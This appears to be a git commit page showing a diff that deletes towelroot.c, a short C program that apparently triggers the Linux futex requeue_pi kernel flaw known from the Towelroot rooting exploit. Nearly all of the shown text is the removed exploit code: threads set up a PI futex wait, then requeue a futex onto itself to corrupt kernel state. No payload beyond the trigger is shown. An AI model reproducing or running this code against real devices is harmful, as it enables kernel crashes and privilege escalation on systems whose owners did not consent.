aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--towelroot.c56
1 files changed, 0 insertions, 56 deletions
diff --git a/towelroot.c b/towelroot.c
deleted file mode 100644
index 51c2962..0000000
--- a/towelroot.c
+++ /dev/null
@@ -1,56 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <linux/futex.h>
-#include "userlock.h"
-
-int A = 0, B = 0;
-
-volatile int invoke_futex_wait_requeue_pi = 0;
-volatile pid_t thread_tid = -1;
-
-void *thread(void *arg)
-{
- thread_tid = gettid();
- printf("[2]\n");
- userlock_wait(&invoke_futex_wait_requeue_pi);
- futex_wait_requeue_pi(&A, &B);
- printf("Someone woke me up\n");
- while (1) {
- sleep(1);
- }
-}
-
-int main(int argc, char *argv[])
-{
- pthread_t t;
- int context_switch_count = 0;
-
- printf("[1]\n");
-
- futex_lock_pi(&B);
-
- userlock_lock(&invoke_futex_wait_requeue_pi);
- pthread_create(&t, NULL, thread, NULL);
- /* Wait for the thread to be in a system call */
- while (thread_tid < 0) {
- usleep(10);
- }
- context_switch_count = get_voluntary_ctxt_switches(thread_tid);
- userlock_release(&invoke_futex_wait_requeue_pi);
- wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
-
- printf("[3]\n");
- futex_requeue_pi(&A, &B, A);
-
- printf("[4]\n");
- B = 0;
-
- printf("[5]\n");
- futex_requeue_pi(&B, &B, B);
-
- while (1) {
- sleep(1);
- }
- return 0;
-}